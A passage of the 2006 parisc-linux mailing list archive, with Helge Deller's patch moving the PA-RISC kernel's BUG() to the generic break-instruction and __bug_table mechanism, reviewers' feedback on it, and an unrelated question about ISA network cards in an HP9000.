 	force_sig_info(SIGTRAP, &si, current);
 }
 
-void handle_break(unsigned iir, struct pt_regs *regs)
+static void handle_break(struct pt_regs *regs)
 {
-	struct siginfo si;
-
-	switch(iir) {
-	case 0x00:
-#ifdef PRINT_USER_FAULTS
-		printk(KERN_DEBUG "break 0,0: pid=%d command='%s'\n",
-		       current->pid, current->comm);
-#endif
-		die_if_kernel("Breakpoint", regs, 0);
-#ifdef PRINT_USER_FAULTS
-		show_regs(regs);
-#endif
-		si.si_code = TRAP_BRKPT;
-		si.si_addr = (void __user *) (regs->iaoq[0] & ~3);
-		si.si_signo = SIGTRAP;
-		force_sig_info(SIGTRAP, &si, current);
-		break;
+	unsigned iir = regs->iir;
 
-	case GDB_BREAK_INSN:
-		die_if_kernel("Breakpoint", regs, 0);
-		handle_gdb_break(regs, TRAP_BRKPT);
-		break;
+	if (unlikely(iir == PARISC_BUG_BREAK_INSN && !user_mode(regs))) {
+		/* check if a BUG() or WARN_ON() trapped here.  */
+		enum bug_trap_type tt;
+		tt = report_bug(regs->iaoq[0] & ~3);
+		die_if_kernel("Unknown kernel breakpoint", regs, 
+			(tt == BUG_TRAP_TYPE_NONE) ? 9 : 0);
+	}
 
-	default:
 #ifdef PRINT_USER_FAULTS
-		printk(KERN_DEBUG "break %#08x: pid=%d command='%s'\n",
-		       iir, current->pid, current->comm);
+	if (unlikely(iir != GDB_BREAK_INSN)) {
+		printk(KERN_DEBUG "break %d,%d: pid=%d command='%s'\n",
+			(iir>>13) & ((1<<13)-1), iir & 31,
+			current->pid, current->comm);
 		show_regs(regs);
-#endif
-		si.si_signo = SIGTRAP;
-		si.si_code = TRAP_BRKPT;
-		si.si_addr = (void __user *) (regs->iaoq[0] & ~3);
-		force_sig_info(SIGTRAP, &si, current);
-		return;
 	}
-}
-
+#endif
 
-int handle_toc(void)
-{
-	printk(KERN_CRIT "TOC call.\n");
-	return 0;
+	/* send standard GDB signal */
+	handle_gdb_break(regs, TRAP_BRKPT);
 }
 
+
 static void default_trap(int code, struct pt_regs *regs)
 {
 	printk(KERN_ERR "Trap %d on CPU %d\n", code, smp_processor_id());
 	show_regs(regs);
 }
 
-void (*cpu_lpmc) (int code, struct pt_regs *regs) = default_trap;
+void (*cpu_lpmc) (int code, struct pt_regs *regs) __read_mostly = default_trap;
 
 
 void transfer_pim_to_trap_frame(struct pt_regs *regs)
@@ -572,7 +559,7 @@ void handle_interruption(int code, struc
 
 	case  9:
 		/* Break instruction trap */
-		handle_break(regs->iir,regs);
+		handle_break(regs);
 		return;
 	
 	case 10:
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 7b943b4..7b149df 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -68,6 +68,8 @@ SECTIONS
 
   RODATA
 
+  BUG_TABLE
+
   /* writeable */
   . = ALIGN(ASM_PAGE_SIZE);	/* Make sure this is page aligned so
   				   that we can properly leave these
diff --git a/include/asm-parisc/bug.h b/include/asm-parisc/bug.h
index 695588d..b01c34b 100644
--- a/include/asm-parisc/bug.h
+++ b/include/asm-parisc/bug.h
@@ -1,14 +1,42 @@
 #ifndef _PARISC_BUG_H
 #define _PARISC_BUG_H
 
+/*
+ * Tell the user there is some problem.
+ * The offending file and line are encoded in the __bug_table section.
+ */
+
 #ifdef CONFIG_BUG
 #define HAVE_ARCH_BUG
-#define BUG() do { \
-	printk("kernel BUG at %s:%d!\n", __FILE__, __LINE__); \
-	dump_stack(); \
-	panic("BUG!"); \
-} while (0)
+
+/* the break instruction is used as BUG() marker.  */
+#define	PARISC_BUG_BREAK_ASM	"break 0x1f, 0x1fff"
+#define	PARISC_BUG_BREAK_INSN	0x03ffe01f  /* PARISC_BUG_BREAK_ASM */
+
+#ifdef CONFIG_DEBUG_BUGVERBOSE
+#define BUG()								\
+	do {								\
+		asm volatile("\n"					\
+			     "1:\t" PARISC_BUG_BREAK_ASM "\n"		\
+			     "\t.pushsection __bug_table,\"a\"\n"	\
+			     "2:\t.long 1b, %c0\n"			\
+			     "\t.short %c1, 0\n"			\
+			     "\t.org 2b+%c2\n"				\
+			     "\t.popsection"				\
+			     : : "i" (__FILE__), "i" (__LINE__),	\
+			     "i" (sizeof(struct bug_entry)) );		\
+		for(;;) ;						\
+	} while(0)
+
+#else
+#define BUG()								\
+	do {								\
+		asm volatile("break 0x1f, 0x1fff\n" : : );		\
+		for(;;) ;						\
+	} while(0)
+#endif
 #endif
 
 #include <asm-generic/bug.h>
 #endif
+
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: alan@firstclassradio.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ISA Nic in an HP9000 D-class - possible?
Date: Sat, 9 Dec 2006 10:35:30 -0600 (CST)
Lines: 17
Approved: news@gmane.org
Message-ID: <33585.68.253.14.130.1165682130.squirrel__47986.9571434849$1416624228$gmane$org@mail.firstclassradio.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624228 21748 80.91.229.3 (22 Nov 2014 02:43:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Dec 2006 16:35:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 09 Dec 2006 17:35:51 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2A2B47D9AF;
	Sat,  9 Dec 2006 09:35:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20125-06; Sat, 9 Dec 2006 09:35:47 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2012C7D9D2;
	Sat,  9 Dec 2006 09:35:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 336417D983
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Dec 2006 09:35:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20125-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Dec 2006 09:35:40 -0700 (MST)
Original-Received: from mail.firstclassradio.com (mail.firstclassradio.com
	[68.253.14.135])
	by free.linux.hp.com (Postfix) with ESMTP id B67557D8D7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Dec 2006 09:35:40 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.firstclassradio.com (Postfix) with ESMTP id 11B77D2CB8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Dec 2006 10:35:38 -0600 (CST)
Original-Received: from mail.firstclassradio.com ([127.0.0.1])
	by localhost (mail [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 11068-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 9 Dec 2006 10:35:30 -0600 (CST)
Original-Received: from mail.firstclassradio.com (localhost.localdomain [127.0.0.1])
	by mail.firstclassradio.com (Postfix) with ESMTP id 9FD27D2CB7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  9 Dec 2006 10:35:30 -0600 (CST)
Original-Received: from 68.253.14.130 (proxying for unknown)
	(SquirrelMail authenticated user alan@firstclassradio.com)
	by mail.firstclassradio.com with HTTP;
	Sat, 9 Dec 2006 10:35:30 -0600 (CST)
User-Agent: SquirrelMail/1.4.4
X-Priority: 3 (Normal)
Importance: Normal
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at localhost
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0d1MDNkzQEVsAujDZnVpeb5KNzg2NUIa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24132

The on-board NIC on my server died and as far as I can tell the two EISA
INP0500 nics that came with it, are not supported.  I see that the drivers
for 3C509s are in the drivers directory, but can the HP9000 and moreover
Linux support an ISA card in an EISA slot?

Any help in getting my machine back on the line would be greatly appreciated.



Alan

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Generic BUG for parisc
Date: Sat, 9 Dec 2006 22:37:49 -0700
Lines: 57
Approved: news@gmane.org
Message-ID: <20061210053749.GB1451__20256.9544002928$1416624228$gmane$org@colo.lackof.org>
References: <200612091628.38777.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624228 21750 80.91.229.3 (22 Nov 2014 02:43:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Dec 2006 05:37:53 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) [198.49.126.79]
  by mx0.gmx.net (mx065) with SMTP; 10 Dec 2006 06:37:53 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1E6FC368236;
	Sat,  9 Dec 2006 22:37:50 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12152-03; Sat, 9 Dec 2006 22:37:49 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A264A368139; Sat,  9 Dec 2006 22:37:49 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200612091628.38777.deller@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ca9CcLU5eWU7ULeUfHVzOMU5U3U4Nw/e
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24133

On Sat, Dec 09, 2006 at 04:28:38PM +0100, Helge Deller wrote:
> I found the following patch, which recently went into Linus' 2.6.20-pre kernel very interesting:
> http://git.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=7664c5a1da4711bb6383117f51b94c8dc8f3f1cd

Indeed. that's cool.

...
> The attached patch implements this for parisc, and my vmlinux (32bit) shows me after using it:
> > hppa-linux-objdump -x vmlinux :
> Idx Name          Size      VMA       LMA       File off  Algn
>  16 __bug_table   000040a4  104a3000  104a3000  003a4000  2**0
> 
> So, there were 1379 BUG()'s covered by that change (0x40a4 = 16548, each entry 12 bytes => 1379 BUG calls).
> 
> Since I would like to submit this patch to our tree, I would like to get your feedback first:
> - Is the "break" instruction the best one for this task ?
> - will it affect runtime of the kernel (maybe break statements, although normally not executed, reduce throughput ?)
> - should I submit it as soon as our parisc-tree has the necessary bits from mainline ?

This looks good to me.
It's up to kyle/willy on how they want it pushed back upstream.

I'm sure it will affect the runtime of the kernel becuase it moves
a fair chunk of code "out of line". Ie we should get slightly better
i-cache utilization with this change.

> - any other ideas ?

With this, we could use BUG() to _measure_ exactly how many times
we hit a particular BUG() test. It would be usefule to determine
how performance critical particular BUG() tests are.
Add a 32-bit counter to the generic struct bug_entry and then increment
that in the trap handler. Hrm...need a /proc or /sys interface
to dump all of them.

> One idea I had was to encode the file line number into the instruction
> itself (in im5 & im13), since the break instruction is implemented as
> "break im5, im13" and 16bit fit easily in there.
> This would save some space, but I would need to add some ifdefs in
> the generic implementation which I didn't wanted to touch yet.

I'd not worry about optimizations until after it's seen broader use.
Keep in mind 12 bytes (for 32-bit kernel) is only 3 instructions.
So each BUG() only uses 16 bytes + file name string. That's already a
major improvement over our existing BUG() which has to setup
printk()/dump_stack()/panic calls - at least 56 bytes (14 ops) each.

Keep in mind this change saves us around 55kB (1379*40).
Saving another 2 bytes isn't that critical.  IMHO, it's not
worth making things too complicated just to save another 3kB.

Kudos!

thanks,
grant



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Generic BUG for parisc
Date: Sun, 10 Dec 2006 21:38:33 +0800
Lines: 44
Approved: news@gmane.org
Message-ID: <457C0DD9.20004__28078.8238197148$1416624228$gmane$org@tausq.org>
References: <200612091628.38777.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624228 21755 80.91.229.3 (22 Nov 2014 02:43:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <randolph@tausq.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Dec 2006 13:38:42 -0000
Original-Received: from ip127.bb146.pacific.net.hk (EHLO mailhub.stlglobal.com) [202.64.146.127]
  by mx0.gmx.net (mx082) with SMTP; 10 Dec 2006 14:38:42 +0100
Original-Received: from localhost ([127.0.0.1])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1GtOsx-0000dG-4S; Sun, 10 Dec 2006 21:38:31 +0800
User-Agent: Thunderbird 1.5.0.2 (X11/20060516)
In-Reply-To: <200612091628.38777.deller@gmx.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2zpPccwGf2I/GoicY2xoz+dwdWxlcxYx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24134

> Since I would like to submit this patch to our tree, I would like to get your feedback first:
> - Is the "break" instruction the best one for this task ?

Yes, i think so.

> - will it affect runtime of the kernel (maybe break statements, although normally not executed, reduce throughput ?)

I think the way you have it is fine, the break traps only when executed, 
so it should not affect normal execution.

> - should I submit it as soon as our parisc-tree has the necessary bits from mainline ?
> - any other ideas ?

The only thing I noticed is that your patch has various "cleanups" or 
maybe just whitespace changes that is mixed it. It's not a big deal, but 
maybe it'll be cleaner if those are separated out.

> One idea I had was to encode the file line number into the instruction itself (in im5 & im13), since the break instruction is implemented as "break im5, im13" and 16bit fit easily in there.
> This would save some space, but I would need to add some ifdefs in the generic implementation which I didn't wanted to touch yet.

Please don't do this. It will make things confusing.

Note that there are some other tools that use the break infrastructure, 
and some of them will be in kernel space. For example, kdb uses "break" 
to implement breakpoints. If we implement tools like kprobes, they will 
probably need to use "break" too. We need to have unique break numbers 
if these tools were to coexist. For reference, the parisc kdb 
implementation uses the following:

+#define KDB_BREAK_BREAK 0x111          /* kdb breakpoint in kernel */
+#define KDB_BREAK_ENTER 0x112          /* KDB_ENTER() */
+
+#define PA_BREAK_INSN(n)       ((n)<<13)
+#define KDB_BREAK_BREAK_INSN   PA_BREAK_INSN(KDB_BREAK_BREAK)
+#define KDB_BREAK_ENTER_INSN   PA_BREAK_INSN(KDB_BREAK_ENTER)
+
+#define KDB_ENTER2(b)  asm("\tbreak 0,"#b"\n")
+#define KDB_ENTER1(b)  KDB_ENTER2(b)
+#define KDB_ENTER()    KDB_ENTER1(KDB_BREAK_ENTER)

my 2 cents :)
randolph



From - Thu Nov 08 21:35:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Generic BUG for parisc
Date: Sun, 10 Dec 2006 16:55:53 +0100
Lines: 301
Approved: news@gmane.org
Message-ID: <200612101655.53867.deller__37287.7659545795$1416624229$gmane$org@gmx.de>
References: <200612091628.38777.deller@gmx.de> <457C0DD9.20004@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624229 21757 80.91.229.3 (22 Nov 2014 02:43:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Dec 2006 15:56:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 10 Dec 2006 16:56:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C85B7D8FD;
	Sun, 10 Dec 2006 08:56:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29703-08; Sun, 10 Dec 2006 08:56:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 806397D8E3;
	Sun, 10 Dec 2006 08:56:02 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 44BAB7D8D3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Dec 2006 08:56:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29703-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Dec 2006 08:55:58 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 3982E7D889
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Dec 2006 08:55:58 -0700 (MST)
Original-Received: (qmail invoked by alias); 10 Dec 2006 15:55:56 -0000
Original-Received: from mnhm-590c2f0a.pool.einsundeins.de (EHLO p100.box) [89.12.47.10]
	by mail.gmx.net (mp017) with SMTP; 10 Dec 2006 16:55:56 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <457C0DD9.20004@tausq.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fUcZBP4AfW4oTuWveGVosiZmdmllcsUG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24135

On Sunday 10 December 2006 06:37, Grant Grundler wrote:
On Sunday 10 December 2006 14:38, Randolph Chung wrote:
...
Thanks a lot for your both's feedback!

In summary I read, that it's better to keep the patch like it is now without major changes.

Further possible enhancements would be:
- add performance couters to measure how often the tests ran
- implement WARN() the same way 

A slightly modified patch (in asm-parisc/bug.h) is attached. It still has 1-2 minimal other cleanups. 

Kyle/Willy: Do you think you can integrate this patch into what goes to Linus for 2.6.20 ?

Thanks!
Helge


diff-tree 571c18bb8c00794f38bc522a9d62d699ec17f9b8 (from 12166cbf2a4b90bc9d82262f52a8568362166f91)
Author: Helge Deller <deller@gmx.de>
Date:   Sat Dec 9 16:41:00 2006 +0100

    [PATCH] Generic BUG for parisc
    
     arch/parisc/Kconfig              |    5 ++
     arch/parisc/kernel/module.c      |    4 +
     arch/parisc/kernel/traps.c       |   79 ++++++++++++++++-----------------------
     arch/parisc/kernel/vmlinux.lds.S |    2
     include/asm-parisc/bug.h         |   38 ++++++++++++++++--
     5 files changed, 76 insertions(+), 52 deletions(-)
    
        Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index d210123..a946776 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -29,6 +29,11 @@ config GENERIC_FIND_NEXT_BIT
 	bool
 	default y
 
+config GENERIC_BUG
+	bool
+	default y
+	depends on BUG
+
 config GENERIC_HWEIGHT
 	bool
 	default y
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 47ea4e4..1808f85 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -46,6 +46,7 @@
 #include <linux/fs.h>
 #include <linux/string.h>
 #include <linux/kernel.h>
+#include <linux/bug.h>
 
 #include <asm/unwind.h>
 
@@ -851,10 +852,11 @@ int module_finalize(const Elf_Ehdr *hdr,
 	nsyms = newptr - (Elf_Sym *)symhdr->sh_addr;
 	DEBUGP("NEW num_symtab %lu\n", nsyms);
 	symhdr->sh_size = nsyms * sizeof(Elf_Sym);
-	return 0;
+	return module_bug_finalize(hdr, sechdrs, me);
 }
 
 void module_arch_cleanup(struct module *mod)
 {
 	deregister_unwind_table(mod);
+	module_bug_cleanup(mod);
 }
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 65cd6ca..af6df04 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -26,6 +26,7 @@
 #include <linux/interrupt.h>
 #include <linux/console.h>
 #include <linux/kallsyms.h>
+#include <linux/bug.h>
 
 #include <asm/assembly.h>
 #include <asm/system.h>
@@ -49,7 +50,7 @@
 DEFINE_SPINLOCK(pa_dbit_lock);
 #endif
 
-int printbinary(char *buf, unsigned long x, int nbits)
+static int printbinary(char *buf, unsigned long x, int nbits)
 {
 	unsigned long mask = 1UL << (nbits - 1);
 	while (mask != 0) {
@@ -204,6 +205,11 @@ HERE:
 	do_show_stack(&info);
 }
 
+int is_valid_bugaddr(unsigned long iaoq)
+{
+	return 1;
+}
+
 void die_if_kernel(char *str, struct pt_regs *regs, long err)
 {
 	if (user_mode(regs)) {
@@ -222,7 +228,7 @@ void die_if_kernel(char *str, struct pt_
 	oops_in_progress = 1;
 
 	/* Amuse the user in a SPARC fashion */
-	printk(
+	if (err) printk(
 "      _______________________________ \n"
 "     < Your System ate a SPARC! Gah! >\n"
 "      ------------------------------- \n"
@@ -242,8 +248,9 @@ void die_if_kernel(char *str, struct pt_
 	if (!console_drivers)
 		pdc_console_restart();
 	
-	printk(KERN_CRIT "%s (pid %d): %s (code %ld)\n",
-		current->comm, current->pid, str, err);
+	if (err)
+		printk(KERN_CRIT "%s (pid %d): %s (code %ld)\n",
+			current->comm, current->pid, str, err);
 	show_regs(regs);
 
 	if (in_interrupt())
@@ -273,70 +280,50 @@ int syscall_ipi(int (*syscall) (struct p
 
 /* gdb uses break 4,8 */
 #define GDB_BREAK_INSN 0x10004
-void handle_gdb_break(struct pt_regs *regs, int wot)
+static void handle_gdb_break(struct pt_regs *regs, int wot)
 {
 	struct siginfo si;
 
-	si.si_code = wot;
-	si.si_addr = (void __user *) (regs->iaoq[0] & ~3);
 	si.si_signo = SIGTRAP;
 	si.si_errno = 0;
+	si.si_code = wot;
+	si.si_addr = (void __user *) (regs->iaoq[0] & ~3);
 	force_sig_info(SIGTRAP, &si, current);
 }
 
-void handle_break(unsigned iir, struct pt_regs *regs)
+static void handle_break(struct pt_regs *regs)
 {
-	struct siginfo si;
-
-	switch(iir) {
-	case 0x00:
-#ifdef PRINT_USER_FAULTS
-		printk(KERN_DEBUG "break 0,0: pid=%d command='%s'\n",
-		       current->pid, current->comm);
-#endif
-		die_if_kernel("Breakpoint", regs, 0);
-#ifdef PRINT_USER_FAULTS
-		show_regs(regs);
-#endif
-		si.si_code = TRAP_BRKPT;
-		si.si_addr = (void __user *) (regs->iaoq[0] & ~3);
-		si.si_signo = SIGTRAP;
-		force_sig_info(SIGTRAP, &si, current);
-		break;
+	unsigned iir = regs->iir;
 
-	case GDB_BREAK_INSN:
-		die_if_kernel("Breakpoint", regs, 0);
-		handle_gdb_break(regs, TRAP_BRKPT);
-		break;
+	if (unlikely(iir == PARISC_BUG_BREAK_INSN && !user_mode(regs))) {
+		/* check if a BUG() or WARN_ON() trapped here.  */
+		enum bug_trap_type tt;
+		tt = report_bug(regs->iaoq[0] & ~3);
+		die_if_kernel("Unknown kernel breakpoint", regs, 
+			(tt == BUG_TRAP_TYPE_NONE) ? 9 : 0);
+	}
 
-	default:
 #ifdef PRINT_USER_FAULTS
